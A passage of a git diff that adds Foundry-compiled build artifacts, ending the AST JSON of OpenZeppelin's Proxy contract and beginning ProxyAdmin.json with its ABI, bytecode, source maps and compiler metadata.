()"}},"id":47100,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2675:11:27","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47101,"nodeType":"ExpressionStatement","src":"2675:11:27"}]},"documentation":{"id":47096,"nodeType":"StructuredDocumentation","src":"2438:186:27","text":" @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n function in the contract matches the call data."},"implemented":true,"kind":"fallback","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":47097,"nodeType":"ParameterList","parameters":[],"src":"2637:2:27"},"returnParameters":{"id":47098,"nodeType":"ParameterList","parameters":[],"src":"2665:0:27"},"scope":47117,"stateMutability":"payable","virtual":true,"visibility":"external"},{"id":47111,"nodeType":"FunctionDefinition","src":"2853:63:27","nodes":[],"body":{"id":47110,"nodeType":"Block","src":"2888:28:27","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":47107,"name":"_fallback","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47095,"src":"2898:9:27","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$__$returns$__$","typeString":"function ()"}},"id":47108,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2898:11:27","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47109,"nodeType":"ExpressionStatement","src":"2898:11:27"}]},"documentation":{"id":47104,"nodeType":"StructuredDocumentation","src":"2699:149:27","text":" @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n is empty."},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":47105,"nodeType":"ParameterList","parameters":[],"src":"2860:2:27"},"returnParameters":{"id":47106,"nodeType":"ParameterList","parameters":[],"src":"2888:0:27"},"scope":47117,"stateMutability":"payable","virtual":true,"visibility":"external"},{"id":47116,"nodeType":"FunctionDefinition","src":"3198:46:27","nodes":[],"body":{"id":47115,"nodeType":"Block","src":"3242:2:27","nodes":[],"statements":[]},"documentation":{"id":47112,"nodeType":"StructuredDocumentation","src":"2922:271:27","text":" @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n call, or as part of the Solidity `fallback` or `receive` functions.\n If overridden should call `super._beforeFallback()`."},"implemented":true,"kind":"function","modifiers":[],"name":"_beforeFallback","nameLocation":"3207:15:27","parameters":{"id":47113,"nodeType":"ParameterList","parameters":[],"src":"3222:2:27"},"returnParameters":{"id":47114,"nodeType":"ParameterList","parameters":[],"src":"3242:0:27"},"scope":47117,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"}],"abstract":true,"baseContracts":[],"canonicalName":"Proxy","contractDependencies":[],"contractKind":"contract","documentation":{"id":47068,"nodeType":"StructuredDocumentation","src":"124:598:27","text":" @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n be specified by overriding the virtual {_implementation} function.\n Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n different contract through the {_delegate} function.\n The success and return data of the delegated call will be returned back to the caller of the proxy."},"fullyImplemented":false,"linearizedBaseContracts":[47117],"name":"Proxy","nameLocation":"741:5:27","scope":47118,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":27} \ No newline at end of file diff --git a/contracts/out/ProxyAdmin.sol/ProxyAdmin.json b/contracts/out/ProxyAdmin.sol/ProxyAdmin.json new file mode 100644 index 000000000..edb60609b --- /dev/null +++ b/contracts/out/ProxyAdmin.sol/ProxyAdmin.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"changeProxyAdmin","inputs":[{"name":"proxy","type":"address","internalType":"contract TransparentUpgradeableProxy"},{"name":"newAdmin","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"getProxyAdmin","inputs":[{"name":"proxy","type":"address","internalType":"contract TransparentUpgradeableProxy"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"getProxyImplementation","inputs":[{"name":"proxy","type":"address","internalType":"contract TransparentUpgradeableProxy"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"upgrade","inputs":[{"name":"proxy","type":"address","internalType":"contract TransparentUpgradeableProxy"},{"name":"implementation","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"upgradeAndCall","inputs":[{"name":"proxy","type":"address","internalType":"contract TransparentUpgradeableProxy"},{"name":"implementation","type":"address","internalType":"address"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"payable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107288061007a5f395ff3fe608060405260043610610079575f3560e01c80639623609d1161004c5780639623609d1461010957806399a88ec41461011c578063f2fde38b1461013b578063f3b7dead1461015a575f80fd5b8063204e1c7a1461007d578063715018a6146100b85780637eff275e146100ce5780638da5cb5b146100ed575b5f80fd5b348015610088575f80fd5b5061009c610097366004610525565b610179565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c3575f80fd5b506100cc61021d565b005b3480156100d9575f80fd5b506100cc6100e8366004610547565b610230565b3480156100f8575f80fd5b505f546001600160a01b031661009c565b6100cc6101173660046105ab565b6102ac565b348015610127575f80fd5b506100cc610136366004610547565b610330565b348015610146575f80fd5b506100cc610155366004610525565b61037f565b348015610165575f80fd5b5061009c610174366004610525565b610414565b5f805f836001600160a01b03166040516101b6907f5c60da1b00000000000000000000000000000000000000000000000000000000815260040190565b5f60405180830381855afa9150503d805f81146101ee576040519150601f19603f3d011682016040523d82523d5f602084013e6101f3565b606091505b509150915081610201575f80fd5b80806020019051810190610215919061067a565b949350505050565b610225610451565b61022e5f6104aa565b565b610238610451565b6040517f8f2839700000000000000000000000000000000000000000000000000000000081526001600160a01b038281166004830152831690638f283970906024015b5f604051808303815f87803b158015610292575f80fd5b505af11580156102a4573d5f803e3d5ffd5b505050505050565b6102b4610451565b6040517f4f1ef2860000000000000000000000000000000000000000000000000000000081526001600160a01b03841690634f1ef2869034906102fd9086908690600401610695565b5f604051808303818588803b158015610314575f80fd5b505af1158015610326573d5f803e3d5ffd5b5050505050505050565b610338610451565b6040517f3659cfe60000000000000000000000000000000000000000000000000000000081526001600160a01b038281166004830152831690633659cfe69060240161027b565b610387610451565b6001600160a01b0381166104085760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610411816104aa565b50565b5f805f836001600160a01b03166040516101b6907ff851a44000000000000000000000000000000000000000000000000000000000815260040190565b5f546001600160a01b0316331461022e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ff565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381168114610411575f80fd5b5f60208284031215610535575f80fd5b813561054081610511565b9392505050565b5f8060408385031215610558575f80fd5b823561056381610511565b9150602083013561057381610511565b809150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f805f606084860312156105bd575f80fd5b83356105c881610511565b925060208401356105d881610511565b9150604084013567ffffffffffffffff808211156105f4575f80fd5b818601915086601f830112610607575f80fd5b8135818111156106195761061961057e565b604051601f8201601f19908116603f011681019083821181831017156106415761064161057e565b81604052828152896020848701011115610659575f80fd5b826020860160208301375f6020848301015280955050505050509250925092565b5f6020828403121561068a575f80fd5b815161054081610511565b6001600160a01b03831681525f60206040602084015283518060408501525f5b818110156106d1578581018301518582016060015282016106b5565b505f606082860101526060601f19601f83011685010192505050939250505056fea26469706673582212208303bb9a7716883f84c0e4c5fe64df1f4141827c7f692946e9627f61e7da89df64736f6c63430008180033","sourceMap":"497:2410:118:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;497:2410:118;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;497:2410:118:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610079575f3560e01c80639623609d1161004c5780639623609d1461010957806399a88ec41461011c578063f2fde38b1461013b578063f3b7dead1461015a575f80fd5b8063204e1c7a1461007d578063715018a6146100b85780637eff275e146100ce5780638da5cb5b146100ed575b5f80fd5b348015610088575f80fd5b5061009c610097366004610525565b610179565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c3575f80fd5b506100cc61021d565b005b3480156100d9575f80fd5b506100cc6100e8366004610547565b610230565b3480156100f8575f80fd5b505f546001600160a01b031661009c565b6100cc6101173660046105ab565b6102ac565b348015610127575f80fd5b506100cc610136366004610547565b610330565b348015610146575f80fd5b506100cc610155366004610525565b61037f565b348015610165575f80fd5b5061009c610174366004610525565b610414565b5f805f836001600160a01b03166040516101b6907f5c60da1b00000000000000000000000000000000000000000000000000000000815260040190565b5f60405180830381855afa9150503d805f81146101ee576040519150601f19603f3d011682016040523d82523d5f602084013e6101f3565b606091505b509150915081610201575f80fd5b80806020019051810190610215919061067a565b949350505050565b610225610451565b61022e5f6104aa565b565b610238610451565b6040517f8f2839700000000000000000000000000000000000000000000000000000000081526001600160a01b038281166004830152831690638f283970906024015b5f604051808303815f87803b158015610292575f80fd5b505af11580156102a4573d5f803e3d5ffd5b505050505050565b6102b4610451565b6040517f4f1ef2860000000000000000000000000000000000000000000000000000000081526001600160a01b03841690634f1ef2869034906102fd9086908690600401610695565b5f604051808303818588803b158015610314575f80fd5b505af1158015610326573d5f803e3d5ffd5b5050505050505050565b610338610451565b6040517f3659cfe60000000000000000000000000000000000000000000000000000000081526001600160a01b038281166004830152831690633659cfe69060240161027b565b610387610451565b6001600160a01b0381166104085760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610411816104aa565b50565b5f805f836001600160a01b03166040516101b6907ff851a44000000000000000000000000000000000000000000000000000000000815260040190565b5f546001600160a01b0316331461022e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ff565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381168114610411575f80fd5b5f60208284031215610535575f80fd5b813561054081610511565b9392505050565b5f8060408385031215610558575f80fd5b823561056381610511565b9150602083013561057381610511565b809150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f805f606084860312156105bd575f80fd5b83356105c881610511565b925060208401356105d881610511565b9150604084013567ffffffffffffffff808211156105f4575f80fd5b818601915086601f830112610607575f80fd5b8135818111156106195761061961057e565b604051601f8201601f19908116603f011681019083821181831017156106415761064161057e565b81604052828152896020848701011115610659575f80fd5b826020860160208301375f6020848301015280955050505050509250925092565b5f6020828403121561068a575f80fd5b815161054081610511565b6001600160a01b03831681525f60206040602084015283518060408501525f5b818110156106d1578581018301518582016060015282016106b5565b505f606082860101526060601f19601f83011685010192505050939250505056fea26469706673582212208303bb9a7716883f84c0e4c5fe64df1f4141827c7f692946e9627f61e7da89df64736f6c63430008180033","sourceMap":"497:2410:118:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;697:437;;;;;;;;;;-1:-1:-1;697:437:118;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;684:55:155;;;666:74;;654:2;639:18;697:437:118;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;1887:148:118;;;;;;;;;;-1:-1:-1;1887:148:118;;;;;:::i;:::-;;:::i;1201:85:23:-;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;2655:250:118;;;;;;:::i;:::-;;:::i;2240:149::-;;;;;;;;;;-1:-1:-1;2240:149:118;;;;;:::i;:::-;;:::i;2081:198:23:-;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1294:419:118:-;;;;;;;;;;-1:-1:-1;1294:419:118;;;;;:::i;:::-;;:::i;697:437::-;793:7;970:12;984:23;1019:5;-1:-1:-1;;;;;1011:25:118;:40;;;;3219:66:155;3207:79;;3311:1;3302:11;;3006:313;1011:40:118;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;969:82;;;;1069:7;1061:16;;;;;;1105:10;1094:33;;;;;;;;;;;;:::i;:::-;1087:40;697:437;-1:-1:-1;;;;697:437:118:o;1831:101:23:-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;1887:148:118:-;1094:13:23;:11;:13::i;:::-;2001:27:118::1;::::0;;;;-1:-1:-1;;;;;684:55:155;;;2001:27:118::1;::::0;::::1;666:74:155::0;2001:17:118;::::1;::::0;::::1;::::0;639:18:155;;2001:27:118::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;1887:148:::0;;:::o;2655:250::-;1094:13:23;:11;:13::i;:::-;2836:62:118::1;::::0;;;;-1:-1:-1;;;;;2836:22:118;::::1;::::0;::::1;::::0;2866:9:::1;::::0;2836:62:::1;::::0;2877:14;;2893:4;;2836:62:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;2655:250:::0;;;:::o;2240:149::-;1094:13:23;:11;:13::i;:::-;2351:31:118::1;::::0;;;;-1:-1:-1;;;;;684:55:155;;;2351:31:118::1;::::0;::::1;666:74:155::0;2351:15:118;::::1;::::0;::::1;::::0;639:18:155;;2351:31:118::1;520:226:155::0;2081:198:23;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;4490:2:155;2161:73:23::1;::::0;::::1;4472:21:155::0;4529:2;4509:18;;;4502:30;4568:34;4548:18;;;4541:62;4639:8;4619:18;;;4612:36;4665:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1294:419:118:-;1381:7;1549:12;1563:23;1598:5;-1:-1:-1;;;;;1590:25:118;:40;;;;4908:66:155;4896:79;;5000:1;4991:11;;4695:313;1359:130:23;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;5215:2:155;1414:68:23;;;5197:21:155;;;5234:18;;;5227:30;5293:34;5273:18;;;5266:62;5345:18;;1414:68:23;5013:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;14:183:155:-;-1:-1:-1;;;;;122:5:155;118:54;111:5;108:65;98:93;;187:1;184;177:12;202:313;298:6;351:2;339:9;330:7;326:23;322:32;319:52;;;367:1;364;357:12;319:52;406:9;393:23;425:60;479:5;425:60;:::i;:::-;504:5;202:313;-1:-1:-1;;;202:313:155:o;751:483::-;856:6;864;917:2;905:9;896:7;892:23;888:32;885:52;;;933:1;930;923:12;885:52;972:9;959:23;991:60;1045:5;991:60;:::i;:::-;1070:5;-1:-1:-1;1127:2:155;1112:18;;1099:32;1140:62;1099:32;1140:62;:::i;:::-;1221:7;1211:17;;;751:483;;;;;:::o;1239:184::-;1291:77;1288:1;1281:88;1388:4;1385:1;1378:15;1412:4;1409:1;1402:15;1428:1292;1551:6;1559;1567;1620:2;1608:9;1599:7;1595:23;1591:32;1588:52;;;1636:1;1633;1626:12;1588:52;1675:9;1662:23;1694:60;1748:5;1694:60;:::i;:::-;1773:5;-1:-1:-1;1830:2:155;1815:18;;1802:32;1843:62;1802:32;1843:62;:::i;:::-;1924:7;-1:-1:-1;1982:2:155;1967:18;;1954:32;2005:18;2035:14;;;2032:34;;;2062:1;2059;2052:12;2032:34;2100:6;2089:9;2085:22;2075:32;;2145:7;2138:4;2134:2;2130:13;2126:27;2116:55;;2167:1;2164;2157:12;2116:55;2203:2;2190:16;2225:2;2221;2218:10;2215:36;;;2231:18;;:::i;:::-;2306:2;2300:9;2274:2;2360:13;;-1:-1:-1;;2356:22:155;;;2380:2;2352:31;2348:40;2336:53;;;2404:18;;;2424:22;;;2401:46;2398:72;;;2450:18;;:::i;:::-;2490:10;2486:2;2479:22;2525:2;2517:6;2510:18;2565:7;2560:2;2555;2551;2547:11;2543:20;2540:33;2537:53;;;2586:1;2583;2576:12;2537:53;2642:2;2637;2633;2629:11;2624:2;2616:6;2612:15;2599:46;2687:1;2682:2;2677;2669:6;2665:15;2661:24;2654:35;2708:6;2698:16;;;;;;;1428:1292;;;;;:::o;3324:288::-;3402:6;3455:2;3443:9;3434:7;3430:23;3426:32;3423:52;;;3471:1;3468;3461:12;3423:52;3503:9;3497:16;3522:60;3576:5;3522:60;:::i;3617:666::-;-1:-1:-1;;;;;3796:6:155;3792:55;3781:9;3774:74;3755:4;3867:2;3905;3900;3889:9;3885:18;3878:30;3937:6;3931:13;3980:6;3975:2;3964:9;3960:18;3953:34;4005:1;4015:140;4029:6;4026:1;4023:13;4015:140;;;4124:14;;;4120:23;;4114:30;4090:17;;;4109:2;4086:26;4079:66;4044:10;;4015:140;;;4019:3;4204:1;4199:2;4190:6;4179:9;4175:22;4171:31;4164:42;4274:2;4267;4263:7;4258:2;4250:6;4246:15;4242:29;4231:9;4227:45;4223:54;4215:62;;;;3617:666;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"changeProxyAdmin(address,address)":"7eff275e","getProxyAdmin(address)":"f3b7dead","getProxyImplementation(address)":"204e1c7a","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","upgrade(address,address)":"99a88ec4","upgradeAndCall(address,address,bytes)":"9623609d"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"contract TransparentUpgradeableProxy\",\"name\":\"proxy\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"newAdmin\",\"type\":\"address\"}],\"name\":\"changeProxyAdmin\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract TransparentUpgradeableProxy\",\"name\":\"proxy\",\"type\":\"address\"}],\"name\":\"getProxyAdmin\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract TransparentUpgradeableProxy\",\"name\":\"proxy\",\"type\":\"address\"}],\"name\":\"getProxyImplementation\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract TransparentUpgradeableProxy\",\"name\":\"proxy\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"implementation\",\"type\":\"address\"}],\"name\":\"upgrade\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract TransparentUpgradeableProxy\",\"name\":\"proxy\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"implementation\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"upgradeAndCall\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}.\",\"kind\":\"dev\",\"methods\":{\"changeProxyAdmin(address,address)\":{\"details\":\"Changes the admin of `proxy` to `newAdmin`. Requirements: - This contract must be the current admin of `proxy`.\"},\"getProxyAdmin(address)\":{\"details\":\"Returns the current admin of `proxy`. Requirements: - This contract must be the admin of `proxy`.\"},\"getProxyImplementation(address)\":{\"details\":\"Returns the current implementation of `proxy`. Requirements: - This contract must be the admin of `proxy`.\"},\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"},\"upgrade(address,address)\":{\"details\":\"Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}. Requirements: - This contract must be the admin of `proxy`.\"},\"upgradeAndCall(address,address,bytes)\":{\"details\":\"Upgrades `proxy` to `implementation` and calls a function on the new implementation. See {TransparentUpgradeableProxy-upgradeToAndCall}. Requirements: - This contract must be the admin of `proxy`.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/proxy/ProxyAdmin.sol\":\"ProxyAdmin\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"src/proxy/ProxyAdmin.sol\":{\"keccak256\":\"0xa63000632ca5f6322238d4cb1c7376886cb23a7757b9f4fd426ace8b3f51fc8f\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8bcfe5327e21880e4e733fbfdce40f59dfbface1fd9723ea00108786640b6651\",\"dweb:/ipfs/QmcGWZxG6yW5CKsZRcADWvSLYDcF8jUuDQBLixJ6YroKoC\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"contract TransparentUpgradeableProxy","name":"proxy","type":"address"},{"internalType":"address","name":"newAdmin","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"changeProxyAdmin"},{"inputs":[{"internalType":"contract 